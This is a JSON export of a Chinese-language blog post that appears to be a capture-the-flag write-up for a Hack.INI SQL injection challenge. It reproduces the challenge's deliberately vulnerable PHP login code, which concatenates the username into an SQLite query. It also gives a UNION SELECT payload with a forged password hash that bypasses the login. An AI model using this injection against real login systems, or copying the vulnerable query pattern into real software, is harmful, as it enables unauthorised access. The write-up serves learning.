{"id":340,"date":"2023-11-01T13:46:22","date_gmt":"2023-11-01T05:46:22","guid":{"rendered":"http:\/\/danielw.top\/?p=340"},"modified":"2023-11-01T13:46:22","modified_gmt":"2023-11-01T05:46:22","slug":"sqli-0x1","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=340","title":{"rendered":"sqli-0x1"},"content":{"rendered":"

sqli-0x1<\/h1>\n

\u901a\u8fc7\u67e5\u770b\u9875\u9762\u6e90\u4ee3\u7801\u53d1\u73b0\u5e2e\u52a9<\/h3>\n

\"image-20231031171434890\"<\/p>\n

\u8bbf\u95ee\/?pls_help<\/code>\u5f97\u5230\u6e90\u7801\uff0c\u5e76\u8fdb\u884c\u5206\u6790<\/h3>\n
<?php\nerror_reporting(0);\nerror_log(0);\n\nrequire_once("flag.php");\n\nfunction is_trying_to_hak_me($str)\n{   \n    $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];\n    if (strpos($str, "'") !== false) {   \/\/\u5982\u679c\u5b58\u5728'\n        if (!preg_match("\/[0-9a-zA-Z]'[0-9a-zA-Z]\/", $str)) {    \/\/\u5224\u65ad\u662f\u5426\u6ee1\u8db3\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u5982\u679c\u662f\u5219\u8fd4\u56detrue\n            return true;\n        }\n    }\n    foreach ($blacklist as $token) {    \/\/\u67e5\u770b\u662f\u5426\u5b58\u5728\u7279\u6b8a\u5b57\u7b26\n        if (strpos($str, $token) !== false) return true;\n    }\n    return false;\n}\n\nif (isset($_GET["pls_help"])) {\n    highlight_file(__FILE__);\n    exit;\n}\n\nif (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { \/\/user\u548cpass\u4e0d\u4e3a\u7a7a\n    $user = $_POST["user"];\n    $pass = $_POST["pass"];\n    if (is_trying_to_hak_me($user)) {\n        die("why u bully me");\n    }\n\n    $db = new SQLite3("\/var\/db.sqlite");\n    $result = $db->query("SELECT * FROM users WHERE username='$user'");  \/\/SQL\u62fc\u63a5\u8bed\u53e5\n    if ($result === false) die("pls dont break me");\n    else $result = $result->fetchArray();\n\n    if ($result) { \n        $split = explode('$', $result["password"]);\n        $password_hash = $split[0]; \/\/\u8fdb\u884chash\u8fd0\u7b97\n        $salt = $split[1];  \n        if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;    \/\/\u5bf9\u6bd4hash\u662f\u5426\u76f8\u540c\uff0c\u5982\u679c\u76f8\u540c\u6253\u5370flag\n        else $err = "Wrong password";\n    }\n    else $err = "No such user";\n}\n?>\n\n<!DOCTYPE html>\n<html>\n<head>\n    <title>Hack.INI 9th - SQLi<\/title>\n<\/head>\n<body>\n    <?php if (isset($logged_in) && $logged_in): ?>    \/\/\u5982\u679cligged_in\u5b58\u5728\u4e0d\u4e3aNULL\u4e14ligged_in\u503c\u4e3atrue\u5219\u8fd4\u56deflag\n    <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>\n    <?php else: ?>\n    <form method="post">\n        <input type="text" placeholder="Username" name="user" required>\n        <input type="password" placeholder="Password" name="pass" required>\n        <button type="submit">Login<\/button>\n        <br><br>\n        <?php if (isset($err)) echo $err; ?>\n    <\/form>\n    <?php endif; ?>\n    <!-- <a href="\/?pls_help">get some help<\/a> -->\n<\/body>\n<\/html><\/code><\/pre>\n
\u901a\u8fc7\u5bf9\u4ee3\u7801\u7684\u5206\u6790\u901a\u8fc7\u4ee5\u4e0b\u4ee3\u7801\u751f\u6210pass<\/h3>\n
<?php  \n    var_dump(hash("sha256",1.1));\n?>\n\n\/\/\u5f97\u5230\uff1astring(64)"4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8"<\/code><\/pre>\n
\u7531\u4e8e\u767b\u9646\u903b\u8f91\u662f\u4ee5 $ \u5bf9\u5bc6\u7801\u8fdb\u884c\u5206\u5272\u4ee5\u5212\u5206 Hash \u548c Salt \u7684\uff0c\u6545payload\u4e3a\uff1a<\/p>\n
4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1\n\nUsername\uff1a1'union\/**\/select\/**\/1,'4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1\nPassword\uff1a1\n\nSELECT * FROM users WHERE username='1'union\/**\/select\/**\/1,'4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1'<\/code><\/pre>\n
\u5f97\u5230flag<\/p>\n
\"image-20231031172021130\"<\/p>\n","protected":false},"excerpt":{"rendered":"
sqli-0x1 \u901a\u8fc7\u67e5\u770b\u9875\u9762\u6e90\u4ee3\u7801\u53d1\u73b0\u5e2e\u52a9 \u8bbf\u95ee\/?pls_help\u5f97\u5230\u6e90\u7801\uff0c\u5e76\u8fdb\u884c\u5206\u6790 <?php error_repo …<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-340","post","type-post","status-publish","format-standard","hentry","category-9"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=340"}],"version-history":[{"count":1,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/340\/revisions"}],"predecessor-version":[{"id":341,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/340\/revisions\/341"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=340"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}